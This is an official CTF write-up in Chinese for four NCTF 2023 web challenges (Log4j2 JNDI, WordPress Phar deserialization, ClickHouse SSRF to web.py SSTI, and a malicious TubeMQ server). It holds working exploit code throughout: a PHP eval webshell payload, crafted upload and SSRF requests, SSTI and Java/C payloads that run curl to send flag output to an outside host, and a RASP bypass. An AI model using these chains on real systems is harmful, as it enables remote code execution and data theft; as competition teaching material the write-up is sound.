NCTF 2023 Web Official Writeup

NCTF 2023 Web Official Writeup

logging

这个其实是之前研究 Log4j2 (CVE-2021-44228) 时想到的: SpringBoot 在默认配置下如何触发 Log4j2 JNDI RCE

默认配置是指代码仅仅使用了 Log4j2 的依赖, 而并没有设置其它任何东西 (例如自己写一个 Controller 然后将参数传入 logger.xxx 方法)

核心思路是如何构造一个畸形的 HTTP 数据包使得 SpringBoot 控制台报错, 简单 fuzz 一下就行

一个思路是 Accept 头, 如果 mine type 类型不对控制台会调用 logger 输出日志

1
logging-web-1  | 2023-12-24 09:15:41.220  WARN 7 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [123]: Invalid mime type "123": does not contain '/']

另外还有 Host 头, 但是只能用一次, 第二次往后就不能再打印日志了

其实一些扫描器黑盒也能直接扫出来 (例如 nuclei)

1
[CVE-2021-44228] [http] [critical] http://124.71.184.68:8011/ [accept,25db884fff4b]

后续就是常规的 JNDI 注入

https://github.com/WhiteHSBG/JNDIExploit

https://github.com/welk1n/JNDI-Injection-Exploit

本来想当签到题的, 但是比赛期间一直没人做出来就放了些 hint

ez_wordpress

思路来源于前段时间的 WordPress Core Gadget, 这条链的入口点是 __toString 方法

https://wpscan.com/blog/finding-a-rce-gadget-chain-in-wordpress-core/

后面看了下 phpggc 发现 6.4.0+ 更新了第二条链, 但是入口点是 __destruct 方法

https://github.com/ambionics/phpggc/blob/master/gadgetchains/WordPress/RCE/2/chain.php

因为 WordPress 自身几乎很少出现过高危漏洞, 所以实战中针对 WordPress 站点的渗透一般都是第三方主题和插件, 于是就找了几个有意思的插件, 配合第二条链的 Phar 反序列化组合利用实现 RCE

比较蛋疼的是出题的时候 WordPress 的最新版本还是 6.4.1, 但是比赛开始前几天官方放出了 6.4.2 版本修复了第二条链的反序列化, 所以其实并不是 latest (

本来想作为纯黑盒让选手使用 wpscan 收集信息的, 但是由于靶机的限制最后还是给出了 wpscan 的扫描结果

1
wpscan --url http://127.0.0.1:8088/

WordPress 版本 6.4.1

Drag and Drop Multiple File Upload 插件, 版本 1.3.6.2, 存在存储型 XSS, 本质是可以未授权上传图片

All-in-One Video Gallery Plugin 插件, 版本 2.6.0, 存在未授权任意文件下载 / SSRF

上传图片 -> 上传 Phar

任意文件下载 / SSRF -> 触发 Phar 反序列化

https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de/

https://wpscan.com/vulnerability/852c257c-929a-4e4e-b85e-064f8dadd994/

https://github.com/projectdiscovery/nuclei-templates/blob/6a2bab060d150921b007f17e549dd05ff9dae0cf/http/cves/2022/CVE-2022-2633.yaml

利用 phpggc 的 WordPress/RCE2 Gadget 构造 Phar

1
./phpggc WordPress/RCE2 system "echo '<?=eval(\$_POST[1]);?>' > /var/www/html/shell.php" -p phar -o ~/payload.phar

当然手动构造也行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
namespace 
{
    class WP_HTML_Token 
    {
        public $bookmark_name;
        public $on_destroy;
        
        public function __construct($bookmark_name, $on_destroy) 
        {
            $this->bookmark_name = $bookmark_name;
            $this->on_destroy = $on_destroy;
        }
    }

    $a = new WP_HTML_Token('echo \'<?=eval($_POST[1]);?>\' > /var/www/html/shell.php', 'system');

    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("GIF89A<?php XXX __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}
?>

因为部分版本的 burp 右键 Paste from file 功能存在一些编码问题, 会导致最终上传的二进制数据格式错误, 所以最好是本地构造一个 upload.html 浏览器选择文件然后抓上传包, 或者用 Python 写个脚本, 或者使用 Yakit

下文以 Yakit 为例

上传文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8012
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
Content-Length: 657
Connection: close

-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="size_limit"

10485760
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="action"

dnd_codedropz_upload
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="type"

click
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="upload-file"; filename="test.jpg"
Content-Type: image/jpeg

{{file(/Users/exp10it/payload.phar)}}
-----------------------------92633278134516118923780781161--

触发反序列化

1
2
3
GET /index.php/video/?dl={{base64(phar:///var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/test.jpg/test.txt)}} HTTP/1.1
Host: 127.0.0.1:8012
Connection: close

注意 phar url 的结尾必须加上 /test.txt, 因为在构造 phar 文件的时候执行的是 $phar->addFromString("test.txt", "test");, 这里的路径需要与代码中的 test.txt 对应, 否则网站会一直卡住

连上 webshell 之后查找可用的 SUID 命令

1
find / -user root -perm -4000 -print 2>/dev/null

使用 date 命令读取 flag

1
date -f /flag

house of click

思路来源于之前某次挖洞的时候偶然了解到 ClickHouse 这个数据库, 功能特性很强大, 可以读写文件/执行脚本/连接外部数据库/发起 HTTP 请求, 不过由于数据库本身的限制不太方便直接 RCE, 所以出了一道 SSRF 的题目

核心思路:

  1. nginx + gunicorn 路径绕过
  2. ClickHouse SQL 盲注打 SSRF
  3. web.py 上传时的目录穿越 + Templetor SSTI 实现 RCE

首先是路径绕过, 这个网上应该能搜到, Google 第一篇就是

https://www.google.com/search?q=nginx+%2B+gunicorn+%E7%BB%95%E8%BF%87

https://mp.weixin.qq.com/s/yDIMgXltVLNfslVGg9lt4g

1
POST /query<TAB>HTTP/1.1/../../api/ping HTTP/1.1

然后是 SSRF, 翻翻 ClickHouse 的官方文档就能发现有个 url 函数

https://clickhouse.com/docs/en/sql-reference/table-functions/url

不过发送 POST 请求上传文件的话得用 insert, 但是这里的 SQL 注入无法堆叠

再翻翻文档可以发现 ClickHouse 有个 HTTP Interface, 通过它可以实现 GET 请求执行 insert 语句

所以得先 SSRF ClickHouse 自身的 HTTP Interface, 然后再 SSRF 到 backend

1
id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=<SQL>', 'TabSeparatedRaw', 'x String'))

后面需要先 select 拿到 token, 外面再套一个 url 函数将 token 编码后外带, 然后再 insert 发送 POST 请求上传文件到 backend, 当然也可以直接在 X-Access-Token 头里面写一个子查询

backend /api/upload 存在目录穿越

1
2
3
4
5
6
7
files = web.input(myfile={})
if 'myfile' in files:
    filepath = os.path.join('upload/', files.myfile.filename)
    if (os.path.isfile(filepath)):
        return 'error'
    with open(filepath, 'wb') as f:
        f.write(files.myfile.file.read())

Index 类特地留了一个 POST 方法用于 render 其它模版, 那么就可以通过目录穿越将文件上传至 templates 目录, 然后 render 这个模版, 实现 SSTI

1
2
3
def POST(self):
    data = web.input(name='index')
    return render.__getattr__(data.name)()

SSTI 执行命令

https://webpy.org/docs/0.3/templetor.zh-cn

1
2
$code:
    __import__('os').system('curl http://host.docker.internal:5555/?flag=`/readflag | base64`')

SQL 语句

1
2
3
4
-- get token
SELECT * FROM url('http://host.docker.internal:4444/?a='||hex((select * FROM url('http://backend:8001/api/token', 'TabSeparatedRaw', 'x String'))), 'TabSeparatedRaw', 'x String');
-- ssti to rce
INSERT INTO FUNCTION url('http://backend:8001/api/upload', 'TabSeparatedRaw', 'x String', headers('Content-Type'='multipart/form-data; boundary=----test', 'X-Access-Token'='06a181b5474d020c2237cea4335ee6fd')) VALUES ('------test\r\nContent-Disposition: form-data; name="myfile"; filename="../templates/test.html"\r\nContent-Type: text/plain\r\n\r\n$code:\r\n    __import__(\'os\').system(\'curl http://host.docker.internal:5555/?flag=`/readflag | base64`\')\r\n------test--');

然后通过 SSRF HTTP Interface 执行 insert 语句, 注意 urlencode

1
2
3
4
-- get token
id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=%2553%2545%254c%2545%2543%2554%2520%252a%2520%2546%2552%254f%254d%2520%2575%2572%256c%2528%2527%2568%2574%2574%2570%253a%252f%252f%2568%256f%2573%2574%252e%2564%256f%2563%256b%2565%2572%252e%2569%256e%2574%2565%2572%256e%2561%256c%253a%2534%2534%2534%2534%252f%253f%2561%253d%2527%257c%257c%2568%2565%2578%2528%2528%2573%2565%256c%2565%2563%2574%2520%252a%2520%2546%2552%254f%254d%2520%2575%2572%256c%2528%2527%2568%2574%2574%2570%253a%252f%252f%2562%2561%2563%256b%2565%256e%2564%253a%2538%2530%2530%2531%252f%2561%2570%2569%252f%2574%256f%256b%2565%256e%2527%252c%2520%2527%2554%2561%2562%2553%2565%2570%2561%2572%2561%2574%2565%2564%2552%2561%2577%2527%252c%2520%2527%2578%2520%2553%2574%2572%2569%256e%2567%2527%2529%2529%2529%252c%2520%2527%2554%2561%2562%2553%2565%2570%2561%2572%2561%2574%2565%2564%2552%2561%2577%2527%252c%2520%2527%2578%2520%2553%2574%2572%2569%256e%2567%2527%2529%253b', 'TabSeparatedRaw', 'x String'))
-- ssti to rce
id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=%2549%254e%2553%2545%2552%2554%2520%2549%254e%2554%254f%2520%2546%2555%254e%2543%2554%2549%254f%254e%2520%2575%2572%256c%2528%2527%2568%2574%2574%2570%253a%252f%252f%2562%2561%2563%256b%2565%256e%2564%253a%2538%2530%2530%2531%252f%2561%2570%2569%252f%2575%2570%256c%256f%2561%2564%2527%252c%2520%2527%2554%2561%2562%2553%2565%2570%2561%2572%2561%2574%2565%2564%2552%2561%2577%2527%252c%2520%2527%2578%2520%2553%2574%2572%2569%256e%2567%2527%252c%2520%2568%2565%2561%2564%2565%2572%2573%2528%2527%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%2527%253d%2527%256d%2575%256c%2574%2569%2570%2561%2572%2574%252f%2566%256f%2572%256d%252d%2564%2561%2574%2561%253b%2520%2562%256f%2575%256e%2564%2561%2572%2579%253d%252d%252d%252d%252d%2574%2565%2573%2574%2527%252c%2520%2527%2558%252d%2541%2563%2563%2565%2573%2573%252d%2554%256f%256b%2565%256e%2527%253d%2527%2530%2536%2561%2531%2538%2531%2562%2535%2534%2537%2534%2564%2530%2532%2530%2563%2532%2532%2533%2537%2563%2565%2561%2534%2533%2533%2535%2565%2565%2536%2566%2564%2527%2529%2529%2520%2556%2541%254c%2555%2545%2553%2520%2528%2527%252d%252d%252d%252d%252d%252d%2574%2565%2573%2574%255c%2572%255c%256e%2543%256f%256e%2574%2565%256e%2574%252d%2544%2569%2573%2570%256f%2573%2569%2574%2569%256f%256e%253a%2520%2566%256f%2572%256d%252d%2564%2561%2574%2561%253b%2520%256e%2561%256d%2565%253d%2522%256d%2579%2566%2569%256c%2565%2522%253b%2520%2566%2569%256c%2565%256e%2561%256d%2565%253d%2522%252e%252e%252f%2574%2565%256d%2570%256c%2561%2574%2565%2573%252f%2574%2565%2573%2574%252e%2568%2574%256d%256c%2522%255c%2572%255c%256e%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2574%2565%2578%2574%252f%2570%256c%2561%2569%256e%255c%2572%255c%256e%255c%2572%255c%256e%2524%2563%256f%2564%2565%253a%255c%2572%255c%256e%2520%2520%2520%2520%255f%255f%2569%256d%2570%256f%2572%2574%255f%255f%2528%255c%2527%256f%2573%255c%2527%2529%252e%2573%2579%2573%2574%2565%256d%2528%255c%2527%2563%2575%2572%256c%2520%2568%2574%2574%2570%253a%252f%252f%2568%256f%2573%2574%252e%2564%256f%2563%256b%2565%2572%252e%2569%256e%2574%2565%2572%256e%2561%256c%253a%2535%2535%2535%2535%252f%253f%2566%256c%2561%2567%253d%2560%252f%2572%2565%2561%2564%2566%256c%2561%2567%2520%257c%2520%2562%2561%2573%2565%2536%2534%2560%255c%2527%2529%255c%2572%255c%256e%252d%252d%252d%252d%252d%252d%2574%2565%2573%2574%252d%252d%2527%2529%253b', 'TabSeparatedRaw', 'x String'))

最后 render test.html 实现 RCE

1
2
3
4
5
6
7
POST /<TAB>HTTP/1.1/../../api/ping HTTP/1.1
Host: 127.0.0.1:8013
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

name=test

当然这个 POST 上传文件的 SSRF 其实是一种极特殊的场景, 因为对于以上 SQL 语句, ClickHouse 会携带一个 Content-Type: text/tab-separated-values; charset=UTF-8 头, 但是自己增加的 HTTP 头永远是在后面的, 例如:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
POST /api/upload HTTP/1.1
Host: host.docker.internal
Transfer-Encoding: chunked
Content-Type: text/tab-separated-values; charset=UTF-8
Content-Type: multipart/form-data; boundary=----test
X-Access-Token: 06a181b5474d020c2237cea4335ee6fd
Connection: Close

F0
------test
Content-Disposition: form-data; name="myfile"; filename="../templates/test.html"
Content-Type: text/plain

$code:
    __import__('os').system('curl http://host.docker.internal:5555/?flag=`/readflag | base64`')
------test--

0

对于大多数中间件, 例如 Nginx, Express, Flask 都会选择只使用第一个 Content-Type, 对于 Gin, 则会将多个 Content-Type 放入一个数组, 而 web.py 会使用第二个 Content-Type, 这也是为什么 backend 会选择 web.py 这个目前不是很主流的 Web 框架 (

因为 ClickHouse 发送的 HTTP POST 请求永远都会使用 chunked 编码, 但在测试的时候发现 web.py 自身对 chunked 编码的解析好像并不是很好, 所以在外面加了一层 Gunicorn, 也刚好可以引出路径绕过这个点, 对于路径绕过的更多技巧可以参考陈师的 Demo: https://github.com/CHYbeta/OddProxyDemo

最后, 这道题是 11 月份出完的, 然后 12 月份打 0CTF/TCTF 2023 的时候发现它们也出了一道 ClickHouse 的题目,思路是通过 ClickHouse JDBC Bridge (需另外部署) 任意执行 JavaScript 实现 RCE, 然后打 Hive HDFS UDF RCE, 也挺有意思的, 有兴趣可以参考: https://github.com/zsxsoft/my-ctf-challenges/tree/master/0ctf2023/olapinfra

EvilMQ

思路来源于前段时间的 ActiveMQ RCE (CVE-2023-46604), 后面 GitHub 全网搜了下 Apache 的其它项目发现这个 TubeMQ 也存在类似的问题, 不过这个是 Client 端 RCE, 需要自己构造一个 Evil Server

当然 Dubbo 也有, 但是已经被修了 (CVE-2023-29234), 有兴趣可以参考: https://xz.aliyun.com/t/13187

ActiveMQ RCE 分析: https://exp10it.io/2023/10/Apache ActiveMQ (版本 < 5.18.3) RCE 分析/

项目地址: https://github.com/apache/inlong/tree/master/inlong-tubemq

题目给的是 1.9.0 版本, 漏洞点位于 org.apache.inlong.tubemq.corerpc.netty.NettyClient.NettyClientHandler#channelRead

https://github.com/apache/inlong/blob/master/inlong-tubemq/tubemq-core/src/main/java/org/apache/inlong/tubemq/corerpc/netty/NettyClient.java#L349

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public void channelRead(ChannelHandlerContext ctx, Object e) {
    if (e instanceof RpcDataPack) {
        RpcDataPack dataPack = (RpcDataPack)e;
        Callback callback = (Callback)NettyClient.this.requests.remove(dataPack.getSerialNo());
        if (callback != null) {
            Timeout timeout = (Timeout)NettyClient.this.timeouts.remove(dataPack.getSerialNo());
            if (timeout != null) {
                timeout.cancel();
            }

            ResponseWrapper responseWrapper;
            try {
                ByteBufferInputStream in = new ByteBufferInputStream(dataPack.getDataLst());
                RPCProtos.RpcConnHeader connHeader = RpcConnHeader.parseDelimitedFrom(in);
                if (connHeader == null) {
                    throw new EOFException();
                }

                RPCProtos.ResponseHeader rpcResponse = ResponseHeader.parseDelimitedFrom(in);
                if (rpcResponse == null) {
                    throw new EOFException();
                }

                RPCProtos.ResponseHeader.Status status = rpcResponse.getStatus();
                if (status == Status.SUCCESS) {
                    RPCProtos.RspResponseBody pbRpcResponse = RspResponseBody.parseDelimitedFrom(in);
                    if (pbRpcResponse == null) {
                        throw new NetworkException("Not found PBRpcResponse data!");
                    }

                    Object responseResult = PbEnDecoder.pbDecode(false, pbRpcResponse.getMethod(), pbRpcResponse.getData().toByteArray());
                    responseWrapper = new ResponseWrapper(connHeader.getFlag(), dataPack.getSerialNo(), rpcResponse.getServiceType(), rpcResponse.getProtocolVer(), pbRpcResponse.getMethod(), responseResult);
                } else {
                    RPCProtos.RspExceptionBody exceptionResponse = RspExceptionBody.parseDelimitedFrom(in);
                    if (exceptionResponse == null) {
                        throw new NetworkException("Not found RpcException data!");
                    }

                    String exceptionName = exceptionResponse.getExceptionName();
                    exceptionName = MixUtils.replaceClassNamePrefix(exceptionName, false, rpcResponse.getProtocolVer());
                    responseWrapper = new ResponseWrapper(connHeader.getFlag(), dataPack.getSerialNo(), rpcResponse.getServiceType(), rpcResponse.getProtocolVer(), exceptionName, exceptionResponse.getStackTrace());
                }

                if (!responseWrapper.isSuccess()) {
                    Throwable remote = MixUtils.unwrapException((new StringBuilder(512)).append(responseWrapper.getErrMsg()).append("#").append(responseWrapper.getStackTrace()).toString());
                    if (IOException.class.isAssignableFrom(remote.getClass())) {
                        NettyClient.this.close();
                    }
                }

                callback.handleResult(responseWrapper);
            } catch (Throwable var13) {
                responseWrapper = new ResponseWrapper(-2, dataPack.getSerialNo(), -2, -2, -2, var13);
                if (var13 instanceof EOFException) {
                    NettyClient.this.close();
                }

                callback.handleResult(responseWrapper);
            }
        } else if (NettyClient.logger.isDebugEnabled()) {
            NettyClient.logger.debug("Missing previous call info, maybe it has been timeout.");
        }
    }
}

org.apache.inlong.tubemq.corerpc.utils.MixUtils#unwrapException

https://github.com/apache/inlong/blob/master/inlong-tubemq/tubemq-core/src/main/java/org/apache/inlong/tubemq/corerpc/utils/MixUtils.java#L70

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static Throwable unwrapException(String exceptionMsg) {
    try {
        String[] strExceptionMsgSet = exceptionMsg.split("#");
        if (strExceptionMsgSet.length > 0 && !TStringUtils.isBlank(strExceptionMsgSet[0])) {
            Class clazz = Class.forName(strExceptionMsgSet[0]);
            if (clazz != null) {
                Constructor<?> ctor = clazz.getConstructor(String.class);
                if (ctor != null) {
                    if (strExceptionMsgSet.length == 1) {
                        return (Throwable)ctor.newInstance();
                    }

                    if (strExceptionMsgSet[0].equalsIgnoreCase("java.lang.NullPointerException")) {
                        return new NullPointerException("remote return null");
                    }

                    if (strExceptionMsgSet[1] != null && !TStringUtils.isBlank(strExceptionMsgSet[1]) && !strExceptionMsgSet[1].equalsIgnoreCase("null")) {
                        return (Throwable)ctor.newInstance(strExceptionMsgSet[1]);
                    }

                    return (Throwable)ctor.newInstance("Exception with null StackTrace content");
                }
            }
        }
    } catch (Throwable var4) {
    }

    return new RemoteException(exceptionMsg);
}

可以调用任意类的包含一个 String 参数的构造方法, 一个思路是利用 org.springframework.context.support.ClassPathXmlApplicationContext 加载 Spring XML 配置文件实现 RCE

编写恶意 TubeMQ Server

org.apache.inlong.tubemq.corerpc.netty.NettyRpcServer.NettyServerHandler#channelRead

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) {
    logger.debug("server message receive!");
    if (!(msg instanceof RpcDataPack)) {
        return;
    }
    logger.debug("server RpcDataPack message receive!");
    RpcDataPack dataPack = (RpcDataPack) msg;
    RPCProtos.RpcConnHeader connHeader;
    RPCProtos.RequestHeader requestHeader;
    RPCProtos.RequestBody rpcRequestBody;
    int rmtVersion = RpcProtocol.RPC_PROTOCOL_VERSION;
    Channel channel = ctx.channel();
    if (channel == null) {
        return;
    }
    String rmtaddrIp = getRemoteAddressIP(channel);
    try {
        if (!isServiceStarted()) {
            throw new ServerNotReadyException("RpcServer is not running yet");
        }
        List<ByteBuffer> req = dataPack.getDataLst();
        ByteBufferInputStream dis = new ByteBufferInputStream(req);
        connHeader = RPCProtos.RpcConnHeader.parseDelimitedFrom(dis);
        requestHeader = RPCProtos.RequestHeader.parseDelimitedFrom(dis);
        rmtVersion = requestHeader.getProtocolVer();
        rpcRequestBody = RPCProtos.RequestBody.parseDelimitedFrom(dis);
    } catch (Throwable e1) {
        if (!(e1 instanceof ServerNotReadyException)) {
            if (rmtaddrIp != null) {
                AtomicLong count = errParseAddrMap.get(rmtaddrIp);
                if (count == null) {
                    AtomicLong tmpCount = new AtomicLong(0);
                    count = errParseAddrMap.putIfAbsent(rmtaddrIp, tmpCount);
                    if (count == null) {
                        count = tmpCount;
                    }
                }
                count.incrementAndGet();
                long befTime = lastParseTime.get();
                long curTime = System.currentTimeMillis();
                if (curTime - befTime > 180000) {
                    if (lastParseTime.compareAndSet(befTime, System.currentTimeMillis())) {
                        logger.warn(new StringBuilder(512)
                                .append("[Abnormal Visit] Abnormal Message Content visit list is :")
                                .append(errParseAddrMap).toString());
                        errParseAddrMap.clear();
                    }
                }
            }
        }
        List<ByteBuffer> res =
                prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
                        e1.getClass().getName(), new StringBuilder(512)
                                .append("IPC server unable to read call parameters:")
                                .append(e1.getMessage()).toString());
        if (res != null) {
            dataPack.setDataLst(res);
            channel.writeAndFlush(dataPack);
        }
        return;
    }
    try {
        throw new Throwable("test");
        // RequestWrapper requestWrapper =
        // new RequestWrapper(requestHeader.getServiceType(),
        // this.protocolType, requestHeader.getProtocolVer(),
        // connHeader.getFlag(), rpcRequestBody.getTimeout());
        // requestWrapper.setMethodId(rpcRequestBody.getMethod());
        // requestWrapper.setRequestData(PbEnDecoder.pbDecode(true,
        // rpcRequestBody.getMethod(), rpcRequestBody.getRequest().toByteArray()));
        // requestWrapper.setSerialNo(dataPack.getSerialNo());
        // RequestContext context =
        // new NettyRequestContext(requestWrapper, ctx, System.currentTimeMillis());
        // protocols.get(this.protocolType).handleRequest(context, rmtaddrIp);
    } catch (Throwable ee) {
        // List<ByteBuffer> res =
        // prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
        // ee.getClass().getName(), new StringBuilder(512)
        // .append("IPC server handle request error :")
        // .append(ee.getMessage()).toString());
        List<ByteBuffer> res =
                prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
                        "org.springframework.context.support.ClassPathXmlApplicationContext",
                        "http://host.docker.internal:4444/poc.xml");
        if (res != null) {
            dataPack.setDataLst(res);
            ctx.channel().writeAndFlush(dataPack);
        }
        return;
    }
}

然后 SimpleRasp 拦截了 java.lang.UNIXProcess#forkAndExec 方法, 有两种方法绕过

第一种, 如果对 RASP 稍微有点了解的话就会知道一般 hook native 方法都会用到 java.lang.instrument.Instrumentation#setNativeMethodPrefix

https://www.jrasp.com/guide/technology/native_method.html

其原理是通过设置 prefix 来实现从 method 到 nativeImplementation 的动态解析

  1. method(foo) -> nativeImplementation(foo)
  2. method(wrapped_foo) -> nativeImplementation(foo)
  3. method(wrapped_foo) -> nativeImplementation(wrapped_foo)
  4. method(wrapped_foo) -> nativeImplementation(foo)

RASP 一般在实现时会先将 foo 这个 native 方法重命名为 wrapped_foo, 然后自己重新创建一个非 native 同名的 foo 方法, 在内部去调用真正的 wrapped_foo 方法

但是在能执行 Java 代码的环境中, 使用这种方式并不能真正的防御命令执行, 我们只需要调用添加了 prefix 的 wrapped_foo 方法 (在题目中为 RASP_forkAndExec) 即可绕过 RASP 实现命令执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.example;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Evil {
    public Evil() throws Exception {
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

        Class clazz = Class.forName("java.lang.UNIXProcess");
        Object obj = unsafe.allocateInstance(clazz);

        String[] cmd = new String[] {"bash", "-c", "curl host.docker.internal:4444 -d \"`/readflag`\""};

        byte[][] cmdArgs = new byte[cmd.length - 1][];
        int size = cmdArgs.length;

        for (int i = 0; i < cmdArgs.length; i++) {
            cmdArgs[i] = cmd[i + 1].getBytes();
            size += cmdArgs[i].length;
        }

        byte[] argBlock = new byte[size];
        int i = 0;

        for (byte[] arg : cmdArgs) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
        }

        int[] envc = new int[1];
        int[] std_fds = new int[]{-1, -1, -1};

        Field launchMechanismField = clazz.getDeclaredField("launchMechanism");
        Field helperpathField = clazz.getDeclaredField("helperpath");

        launchMechanismField.setAccessible(true);
        helperpathField.setAccessible(true);

        Object launchMechanism = launchMechanismField.get(obj);
        byte[] helperpath = (byte[]) helperpathField.get(obj);

        int ordinal = (int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism);

        Method forkMethod = clazz.getDeclaredMethod("RASP_forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
        forkMethod.setAccessible(true);
        forkMethod.invoke(obj, ordinal + 1, helperpath, toCString(cmd[0]), argBlock, cmdArgs.length, null, envc[0], null, std_fds, false);
    }

    public byte[] toCString(String s) {
        if (s == null) {
            return null;
        }
        byte[] bytes = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0, result, 0, bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }
}

第二种, RASP 并没有拦截 System.load 方法, 所以可以直接写一个 so 然后上传加载即可

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("curl host.docker.internal:4444 -d \"`/readflag`\"");
}

编译

1
gcc -shared -fPIC exp.c -o exp.so

Java 代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package com.example;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Evil {
    public Evil() throws Exception {
        String data = "PAYLOAD";
        String filename = "/tmp/evil.so";
        Files.write(Paths.get(filename), Base64.getDecoder().decode(data));
        System.load(filename);
    }
}

最后拿到 class 字节码, 通过 Spring XML 配置文件调用 SPEL 表达式进行 defineClass

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="data" class="java.lang.String">
        <constructor-arg><value>PAYLOAD</value></constructor-arg>
    </bean>
    <bean class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.Evil',T(org.springframework.util.Base64Utils).decodeFromString(data),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}"></bean>
</beans>

发起连接 (produce 或 consume 都行)

1
2
3
4
5
6
7
POST /produce HTTP/1.1
Host: 127.0.0.1:8014
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

masterHostAndPort=host.docker.internal:8715&topic=test&data=test
0%